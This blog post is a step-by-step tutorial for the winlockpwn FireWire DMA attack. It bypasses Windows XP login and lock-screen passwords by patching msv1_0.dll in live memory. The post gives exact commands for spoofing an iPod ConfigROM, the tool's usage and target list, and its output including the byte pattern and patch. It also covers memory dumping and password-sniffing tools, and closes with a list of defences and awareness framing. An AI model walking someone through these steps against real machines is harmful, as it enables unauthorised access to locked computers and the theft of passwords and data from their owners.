Kudos to Michael Becher, Maximillian Dornseif and Christian N. Klein for their talk 0wn3d by an iPod at PacSec 2004 and Adam Boileau (aka "Metlstorm") for his presentation on physical attacks with Firewire in 2006 at RUXCON. His memory acquisition tools and python libraries can be found here.
The whole discussion restarted some weeks ago when a coldboot attack was demonstrated and soon after Boileau decided to release his winlockpwn tool. The following is a step-by-step tutorial on how to use his tool. This tutorial is for awareness and demonstration purposes only and is provided "AS IS" without support. If you need help, proceed to the Backtrack forums.
Get the Helix CD v1.9. Some of the tools needed are on this Linux LiveCD, except for winlockpwn which you need to download. You can also do this on any installed linux version that has a firewire support and python. But you need to add a kernel module (libraw1394) and compile some tools like romtool which you can find in the package pythonraw1394-1.0.tar.gz (Python bindings for libraw1394, romtool for CSR-trickery, and the 1394memimage forensics tool).
But let's take the easy road. Leave all firewire cables unplugged and boot from the Helix LiveCD and open a root console.
I had some issues with the tool and this 'partytrick' and discovered from some websites that you need to make sure the sbp2 kernel module doesn't load. So locate "sbp2.ko" and remove or rename it.
Now, proceed to the location containing our tools:
cd /usr/local/pythonraw1394 modprobe raw1394
So, now the firewire raw interface is available as
/dev/raw1394. Use the
./businfo command to inspect all the devices that are hooked up on the FireWire bus. At this point you should see your onboard firewire port.
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=1, busid=1023, localid=0, nodeCount=1, name='ohci1394')
Node(number=0, nodeid=0xffc0)
ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0xd11a (Valid)
Bus ID : "1394"
GUID : 0x000d9d719f85019e
Vendor : 0x00000d9d (Hewlett Packard)
So, we see that the hardware gets properly detected. If you are not using our Helix CD, make sure you "chmod 666 /dev/raw1394".
Before we get DMA access, we must spoof our firewire device to look as a storage device.
./romtool -s 0 ipod.csr
Init firwire, port 0
Updated 1024 byte ROM image from ipod.csr
Now businfo should give you some other output like this:
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=1, busid=1023, localid=0, nodeCount=1, name='ohci1394')
Node(number=0, nodeid=0xffc0)
ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0x7286 (Valid)
Bus ID : "1394"
GUID : 0x000a270002aa6ba7
Vendor : 0x00000a27 (Apple Computer, Inc.)
Good! Now you can proceed and connect the cable with your target computer. Running the businfo tool again should show you a new node on your firewire port:
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=4, busid=1023, localid=0, nodeCount=2, name='ohci1394')
Node(number=0, nodeid=0xffc0)
.....
Node(number=1, nodeid=0xffc1)
ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0xbf70 (Invalid (0xb728))
Bus ID : "1394"
GUID : 0xa557565900508b71
Vendor : 0x00a55756 ()
Link Speed : 2 (S400)
Max Record Size : 10 (2048 bytes)
Isochronous Capable : 1 (Yes)
Bus Master Capable : 1 (Yes)
Cycle Master Capable : 1 (Yes)
Cycle Master Clock Accuracy : 0 ppm
Isochronous Resource Manager Capable : 1 (Yes)
Root Directory: 32 bytes, crc: 0x10cb (Invalid (0x0a69))
0 (Immediate Value), 12 (Node Capabilities): 0x83c0
0 (Immediate Value), 28 (Unknown 28): 0x50f2
0 (Immediate Value), 29 (Unknown 29): 0x2
0 (Immediate Value), 30 (Unknown 30): 0x0
0 (Immediate Value), 3 (Module Vendor ID): 0x50f2 (MICROSOFT CORP.)
So make sure you know the Firewire port number and node number. Get the winlockpwn tool and make sure it's in the correct format (dos2unix) and run it.
Winlockpwn v1.5 Metlstorm, 2k6.
Usage: winlockpwn port node target [start-end]
- Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers.
- Target should be one of the numbered targets listed below.
- You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff.
(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)
Available Targets:
1: WinXP SP2 Fast User Switching Unlock
2: WinXP SP2 Unlock
3: WinXP SP2 msv1_0.dll technique
4: WinXP SP2 utilman cmd spawn
What we want is the third option. What it actually does is patch the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in and locking the screen. So let's proceed:
./winlockpwn.txt 0 1 3
It will scan the memory on port 0 node 1 and patch the login .dll (method 3)
Pattern: 0x8BFF558BEC83EC50A1
Offset : [2343]
Patch : 0xB001
Offset : 165
Scanning Options:
Start : 0x8000000
Stop : 0xffffffff
Pagesz : 4096
Init firwire, port 0 node 1
Snarfin' memories...
Checking for signature on page at 0x3097f000 (796156kB) at 43462 kB/s... Found signature at 0x33104927
Setting up teh bomb... Donezor!
Verified evil: 0xb001
You may proceed with your nefarious plans
Elapsed time 16 seconds
Voila !!!! Just try to login with any password. I also tried it on the local administrator account of my laptop and it simply works!!! Firewire = pwned.
Now if you are a forensics investigator, you also can do a memory dump at this point. After the '1394memimage' command give the Firewire Port and Node number and the location where you want to save the image (an external storage device of course).
./1394memimage 0 1 /media/sdd1/memory.bin -1024M
Make sure you don't exceed the total memory amount or the system might crash.
That was it folks. Remember, even if you disable onboard ports in the BIOS, just plugging a PC Card into the laptop is enough to circumvent it. I bought a 4-port 1394 PC Card (brand Hama) at the local mediamarket for 7€ and it didn't need any drivers. Plug & pwn.
BIOS passwords aren't a good idea anyway. On Boileau's site, I saw another tool
bioskbsnarf. The tool he used to steal his own BIOS password; python code that parses and prints the bios-real-mode-keyboard-interrupt-buffer . Use with /dev/mem or a memory image acquired via firewire.
Replacing BIOS chips, social engineering the vendor support helpdesk for a recovery procedure etc.. are just ways to circumvent BIOS passwords.
Now how about other operating systems? After my firewire demo at the security conference, a lot of people came to ask me if this also worked against Linux. So I did some research. The first Firewire DMA-based hack was the 2002 FireStarter attack by Quinn "The Eskimo". Apple modified their drivers to disable device DMA by the time OS X10.3 came out.
At some point, Linux made the same fixes. So they should also be safe (this is unconfirmed on both accounts). Microsoft was informed about this 2 years ago and up until now, nothing was done. Microsoft does not view FireWire DMA as a security problem, since it is part of the IEEE-1394 specification. According to Boileau, this is the reason why Redmond is not considering a fix. By the way, it will also work against Vista.
How about USB devices?
Unless there is a bug in the USB drivers (like a buffer overflow), it's not feasible using the straight USB protocol, however, firewire protocol does include DMA (and that's the problem)
Cardbus cards are effectively PCI cards and can perform arbitrary bus transactions. This can probably be used to bypass OS security.
Well, another thing that comes into mind is autoplay!!! According to Microsoft's
10 Immutable Laws of Security:Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore
What is the solution?
Well, there is no silver bullet. Just adding as much as layers of defense as we can/
- Disable Autoplay
- Use harddisk encryption software WITH a pre-boot password
- Disable the Standby feature (considering the cold boot attack) and also hibernate if you don't have a pre-boot password
- Disable unused ports in the BIOS , bootable usb devices and password protect it (this can be circumvented but let's annoy the attacker as long as we can)
- Glue the firewire port shut (?)
- Disable all Firewire ports and PCMCIA slots in the Device Manager (although I read that PCMCIA devices are bus-masters once connected, so there is very little the CPU (commanded by the Operating System) can do to prevent rogue devices that are using these interfaces from accessing arbitrary memory addresses)
- Always secure your laptops physically with a cable lock (can also be circumvented)
- Shut down your PC if you leave it unattented
- Use a data classification system and inform users not to store VERY confidential information on portable systems (though some people will ignore this policy)
- If the previous point is not possible, separately encrypt those sensitive files with another tool.
- Pray that Microsoft will release an updated driver
- Feel free to suggest other methods yourself...
Bottom line: there is no 100% secure solution. Just adding enough layers of protection and hoping that an attacker will give up. Having a second look at Microsoft's
10 Immutable Laws of Security, shows us:
Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore
Against the coldboot attack and the issue of whole harddisk encryption, there are no definite solutions. And more and more tools based on this attack are getting released:
DaisyDukes is a memory sniffer that resides on a USB device. A researcher can plug it into an unattended machine that is turned on but has been locked and reboot the machine off a compact operating system contained on the drive. Depending on the user's needs, it can be configured to capture the entire contents of a computer's memory, or sniff out only certain types of data - say a password to access the company network or unlock a user's private encryption key.
It turns out both Windows and Linux retain "boatloads and boatloads" of passwords in memory, said Sherri Davidoff, a security analyst with IntelGuardians, the penetration-testing firm that developed the tool. It's already been able to isolate passwords for Thunderbird, AOL Instant Messenger, GPG, SSH, Outlook, Putty and TrueCrypt, among others, and with additional research they believe they can find many more.
"The idea here is let's see if we can hit an office building, get in and out in 25 minutes or less and walk out with some interesting passwords," said Tom Liston, an IntelGuardians security consultant who along with Davidoff co-presented the tool at the CanSecWest security conference in Vancouver. (Source: TheRegister)
Previous articles:
Security4all Blog
Twitter
Slideshare
Facebook
Digg
Flickr
